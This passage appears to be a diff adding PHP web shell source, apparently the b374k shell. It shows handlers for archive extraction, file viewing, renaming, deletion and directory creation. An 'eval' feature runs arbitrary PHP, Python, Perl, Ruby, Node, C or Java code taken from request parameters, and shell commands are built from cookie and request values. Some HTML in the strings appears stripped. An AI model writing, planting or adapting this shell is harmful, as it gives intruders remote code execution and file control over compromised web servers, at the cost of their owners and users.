"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + elseif(isset($_REQUEST['compresstargzok'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists_ = explode("|", $s_buffer); + $s_lists = array(); + $s_file = $_REQUEST['compresstargzok']; + $s_file = basename($s_file); + + $s_lists__ = array_map("basename", $s_lists_); + $s_lists = array_map("pf", $s_lists__); + exe("tar czf \"".$s_file."\" ".implode(" ", $s_lists)); + + if(is_file($s_file)){ + $s_result .= "

archive created : ".$s_file."

"; + } + else $s_result .= "

error creating archive file

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + elseif(isset($_REQUEST['extractzipok'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + $s_file = $_REQUEST['extractzipok']; + + $zip = new ZipArchive(); + foreach($s_lists as $f){ + $s_target = $s_file.basename($f,".zip"); + if($zip->open($f)){ + if(!is_dir($s_target)) mkdir($s_target); + if($zip->extractTo($s_target)){ + $s_result .= "

files extracted to ".$s_target."

"; + } + else $s_result .= "

error extrating archive file

"; + $zip->close(); + } + else $s_result .= "

error opening archive file

"; + } + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + elseif(isset($_REQUEST['extracttarok'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + $s_file = $_REQUEST['extracttarok']; + + foreach($s_lists as $f){ + $s_target = ""; + $s_target = basename($f,".tar"); + if(!is_dir($s_target)) mkdir($s_target); + exe("tar xf \"".basename($f)."\" -C \"".$s_target."\""); + } + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + elseif(isset($_REQUEST['extracttargzok'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + $s_file = $_REQUEST['extracttargzok']; + + foreach($s_lists as $f){ + $s_target = ""; + if(strpos(strtolower($f), ".tar.gz")!==false) $s_target = basename($f,".tar.gz"); + elseif(strpos(strtolower($f), ".tgz")!==false) $s_target = basename($f,".tgz"); + if(!is_dir($s_target)) mkdir($s_target); + exe("tar xzf \"".basename($f)."\" -C \"".$s_target."\""); + } + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + + // view image specified by ?img= + if(isset($_REQUEST['img'])){ + ob_clean(); + $s_d = ss($_REQUEST['d']); + $s_f = ss($_REQUEST['img']); + $s_inf = @getimagesize($s_d.$s_f); + $s_ext = explode($s_f,"."); + $s_ext = $s_ext[count($s_ext)-1]; + header("Content-type: ".$s_inf["mime"]); + header("Cache-control: public"); + header("Expires: ".@date("r",@mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7));# + readfile($s_d.$s_f); + exit; + } + + // rename file or folder + if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){ + $s_old = ss($_REQUEST['oldname']); + $s_new = ss($_REQUEST['newname']); + + $s_renmsg = ""; + if(is_dir($s_old)) $s_renmsg = (@rename($s_old,$s_new)) ? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new; + elseif(is_file($s_old)) $s_renmsg = (@rename($s_old,$s_new)) ? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new; + else $s_renmsg = "Cannot find the path specified ".$s_old; + + $s_result .= "

".$s_renmsg."

"; + $s_fnew = $s_new; + } + + // confirm delete + if(!empty($_REQUEST['del'])){ + $s_del = trim($_REQUEST['del']); + $s_result .= "

Delete ".basename($s_del)." ? Yes | No

"; + }// delete file + elseif(!empty($_REQUEST['delete'])){ + $s_f = ss($_REQUEST['delete']); + $s_delmsg = ""; + if(is_file($s_f)){ + $s_delmsg = (unlink($s_f)) ? "File removed : ".$s_f : "Unable to remove file ".$s_f; + } + elseif(is_dir($s_f)){ + rmdirs($s_f); + $s_delmsg = (is_dir($s_f)) ? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f; + } + else $s_delmsg = "Cannot find the path specified ".$s_f; + $s_result .= "

".$s_delmsg."

"; + } // create dir + elseif(!empty($_REQUEST['mkdir'])){ + $s_f = ss($s_cwd.ss($_REQUEST['mkdir'])); + $s_dirmsg = ""; + + $s_num = 1; + if(is_dir($s_f)){ + $s_pos = strrpos($s_f,"_"); + if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1); + while(is_dir(substr($s_f,0,$s_pos)."_".$s_num)){ + $s_num++; + } + $s_f = substr($s_f,0,$s_pos)."_".$s_num; + } + if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f; + else $s_dirmsg = "Unable to create directory ".$s_f; + + $s_result .= "

".$s_dirmsg."

"; + } + + // php eval() function + if(isset($_REQUEST['x']) && ($_REQUEST['x']=='eval')){ + $s_code = ""; + $s_res = ""; + $s_gccoption = ""; + $s_lang = "php"; + + if(isset($_REQUEST['evalcode'])){ + $s_code = ssc($_REQUEST['evalcode']); + $s_gccoption = (isset($_REQUEST['gccoption']))? ssc($_REQUEST['gccoption']):""; + $s_tmpdir = get_writabledir(); + + if(isset($_REQUEST['lang'])){$s_lang = $_REQUEST['lang'];} + + if(strtolower($s_lang)=='php'){ + ob_start(); + eval($s_code); + $s_res = ob_get_contents(); + ob_end_clean(); + } + elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'||strtolower($s_lang)=='node'){ + $s_rand = md5(time().rand(0,100)); + $s_script = $s_tmpdir.$s_rand; + file_put_contents($s_script, $s_code); + if(is_file($s_script)){ + $s_res = exe($s_lang." ".$s_gccoption." ".$s_script); + unlink($s_script); + } + } + elseif(strtolower($s_lang)=='gcc'){ + $s_script = md5(time().rand(0,100)); + chdir($s_tmpdir); + file_put_contents($s_script.".c", $s_code); + if(is_file($s_script.".c")){ + $s_scriptout = $s_win ? $s_script.".exe" : $s_script; + $s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_gccoption); + if(is_file($s_scriptout)){ + $s_res = $s_win ? exe($s_scriptout) : exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout); + rename($s_scriptout, $s_scriptout."del"); + unlink($s_scriptout."del"); + } + unlink($s_script.".c"); + } + chdir($s_cwd); + } + elseif(strtolower($s_lang)=='java'){ + if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){ + $s_classname = trim($s_r[1]); + $s_script = $s_classname; + } + else{ + $s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8); + $s_script = $s_rand; + $s_code = "class ".$s_rand." { ".$s_code . " } "; + } + chdir($s_tmpdir); + file_put_contents($s_script.".java", $s_code); + if(is_file($s_script.".java")){ + $s_res = exe("javac ".$s_script.".java"); + if(is_file($s_script.".class")){ + $s_res .= exe("java ".$s_gccoption." ".$s_script); + unlink($s_script.".class"); + } + unlink($s_script.".java"); + } + chdir($s_pwd); + } + } + + $s_lang_available = ""; + $s_selected = ""; + if($s_python){ + $s_checked = ($s_lang == "python") ? "selected" : ""; + $s_lang_available .= ""; + } + if($s_perl){ + $s_checked = ($s_lang == "perl") ? "selected" : ""; + $s_lang_available .= ""; + } + if($s_ruby){ + $s_checked = ($s_lang == "ruby") ? "selected" : ""; + $s_lang_available .= ""; + } + if($s_node){ + $s_checked = ($s_lang == "node") ? "selected" : ""; + $s_lang_available .= ""; + } + if($s_gcc){ + $s_checked = ($s_lang == "gcc") ? "selected" : ""; + $s_lang_available .= ""; + } + if($s_java){ + $s_checked = ($s_lang == "java") ? "selected" : ""; + $s_lang_available .= ""; + } + $s_gccoptionclass = ($s_lang=="php")? "sembunyi":""; + $s_e_result = (!empty($s_res)) ? "
".hss($s_res)."
":""; + $s_result .= "
+ + + + +

+
+
Additional option  
+ ".$s_e_result." + +
+ "; + } + // find + elseif(isset($_REQUEST['find'])){ + $s_p = ss($_REQUEST['find']); + + $s_type = isset($_REQUEST['type']) ? $_REQUEST['type'] : "sfile"; + $s_sfname = (!empty($_REQUEST['sfname']))?ssc($_REQUEST['sfname']):''; + $s_sdname = (!empty($_REQUEST['sdname']))?ssc($_REQUEST['sdname']):''; + $s_sfcontain = (!empty($_REQUEST['sfcontain']))?ssc($_REQUEST['sfcontain']):''; + + $s_sfnameregexchecked=$s_sfnameicasechecked=$s_sdnameregexchecked=$s_sdnameicasechecked=$s_sfcontainregexchecked=$s_sfcontainicasechecked=$s_swritablechecked=$s_sreadablechecked=$s_sexecutablechecked=""; + $s_sfnameregex=$s_sfnameicase=$s_sdnameregex=$s_sdnameicase=$s_sfcontainregex=$s_sfcontainicase=$s_swritable=$s_sreadable=$s_sexecutable=false; + + if(isset($_REQUEST['sfnameregex'])){$s_sfnameregex=true;$s_sfnameregexchecked="checked";} + if(isset($_REQUEST['sfnameicase'])){$s_sfnameicase=true;$s_sfnameicasechecked="checked";} + if(isset($_REQUEST['sdnameregex'])){$s_sdnameregex=true;$s_sdnameregexchecked="checked";} + if(isset($_REQUEST['sdnameicase'])){$s_sdnameicase=true;$s_sdnameicasechecked="checked";} + if(isset($_REQUEST['sfcontainregex'])){$s_sfcontainregex=true;$s_sfcontainregexchecked="checked";} + if(isset($_REQUEST['sfcontainicase'])){$s_sfcontainicase=true;$s_sfcontainicasechecked="checked";} + if(isset($_REQUEST['swritable'])){$s_swritable=true;$s_swritablechecked="checked";} + if(isset($_REQUEST['sreadable'])){$s_sreadable=true;$s_sreadablechecked="checked";} + if(isset($_REQUEST['sexecutable'])){$s_sexecutable=true;$s_sexecutablechecked="checked";} + + $s_sexecb = (function_exists("is_executable")) ? "